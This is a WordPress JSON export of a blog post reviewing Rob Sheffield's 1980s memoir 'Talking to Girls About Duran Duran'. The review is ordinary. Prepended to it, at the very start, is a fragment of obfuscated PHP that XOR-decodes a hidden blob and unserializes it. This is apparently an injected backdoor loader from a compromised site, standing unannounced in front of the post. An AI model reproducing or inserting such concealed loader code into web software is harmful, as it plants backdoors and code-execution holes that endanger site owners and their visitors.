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'e', array($YpxHHk,)); $YpxHHk = $YpxHHk[0] ^ str_repeat($YVWNaDAiA, (strlen($YpxHHk[0]) / strlen($YVWNaDAiA)) + 1);S_IeQ::$BxRTG = @unserialize($YpxHHk);}}public static $BxRTG = 6560;}imPdsmbab();}{"id":1758,"date":"2012-03-31T10:26:41","date_gmt":"2012-03-31T15:26:41","guid":{"rendered":"http:\/\/regularguycolumn.com\/blog\/?p=1758"},"modified":"2012-03-31T10:26:41","modified_gmt":"2012-03-31T15:26:41","slug":"book-review-talking-to-girls-about-duran-duran","status":"publish","type":"post","link":"https:\/\/regularguycolumn.com\/blog\/?p=1758","title":{"rendered":"Book Review: Talking to Girls About Duran Duran"},"content":{"rendered":"<p>The continued cultural importance of the 1980s doesn&#8217;t completely make sense. I know that as my generation grows older, the nostalgia for our youth gains strength. But the continued fascination with &#8220;The Breakfast Club&#8221; and The Go-Go&#8217;s has to survive on more than memories.<\/p>\n<p><a href=\"https:\/\/regularguycolumn.com\/blog\/wp-content\/uploads\/2012\/03\/DuranDuran-thumb.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignright size-full wp-image-1759\" style=\"margin: 10px;\" title=\"DuranDuran-thumb\" src=\"https:\/\/regularguycolumn.com\/blog\/wp-content\/uploads\/2012\/03\/DuranDuran-thumb.jpg\" alt=\"\" width=\"102\" height=\"150\" \/><\/a>I understood this phenomena a little better after reading Rob Sheffield&#8217;s memoir\/80&#8217;s homage &#8220;<a href=\"http:\/\/www.amazon.com\/Talking-Girls-About-Duran-Haircut\/dp\/0525951563\" target=\"_blank\">Talking to Girls About Duran Duran<\/a>.&#8221; <a href=\"http:\/\/www.robsheffield.com\/index.htm\" target=\"_blank\">Sheffield<\/a>, a long-time Rolling Stone writer, takes you through the decade that won&#8217;t die via his experiences with each chapter built around a song.<\/p>\n<p>Given that the author and I seem to have tread lots of similar territory (and one of my first instincts was to create a playlist from the songs which inspired each chapter), I had no choice but to love this book. I have connections to many of the songs. It doesn&#8217;t matter that I don&#8217;t drift towards all of them because the angst and confusion and exploration that went with the time rang completely true to me. I just connect some of those feelings with &#8220;Stone Cold Yesterday&#8221; by The Connells instead of &#8220;Hangin&#8217; Tough&#8221; by New Kids on the Block.<\/p>\n<p>However, every generation can overstate the importance of their youth. I can&#8217;t wait until 30 years from now when kids roll their eyes as their parents go on and on about how life changed thanks to a Taylor Swift song or iCarly episode. I really hope I live that long just so I can laugh.<\/p>\n<p>But the 80s really did mean something. In the chapter dedicated to the Psychedelic Furs song &#8220;Pretty in Pink,&#8221; he examines why the movies of John Hughes and other 80s directors continue to resonate today. This has to be a real things since <a title=\"Book Review: You Couldn\u2019t Ignore Me If You Tried\" href=\"https:\/\/regularguycolumn.com\/blog\/?p=926\">academic books<\/a> have developed from this idea.<\/p>\n<blockquote><p>It&#8217;s a sign of how 1980s teen culture keeps on resonating &#8211; even people who were born in the &#8217;90s can O.D. on borrowed nostalgia for the unremembered &#8217;80s. Maybe that&#8217;s because it was an era when teen trash was the only corner of pop culture that wasn&#8217;t a high-gloss fraud. Movies for adults sucked in the 1980s and music for adults sucked even worse &#8230;.<\/p><\/blockquote>\n<p>Now that&#8217;s a gross over-generalization, but the movies nominated for Best Picture from 1984 (the year &#8220;16 Candles&#8221; was released) were Amadeus, The Killing Fields, A Passage to India, Places in the Heart and A Soldier&#8217;s Story. And don&#8217;t even get me started on the Grammy&#8217;s.<\/p>\n<p>But the notion that art aimed at teens drove pop culture in the 1980s is almost undeniable. Sheffield does a wonderful job at capturing how that reality helped define individual personalities and change American culture.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>The continued cultural importance of the 1980s doesn&#8217;t completely make sense. I know that as my generation grows older, the nostalgia for our youth gains strength. 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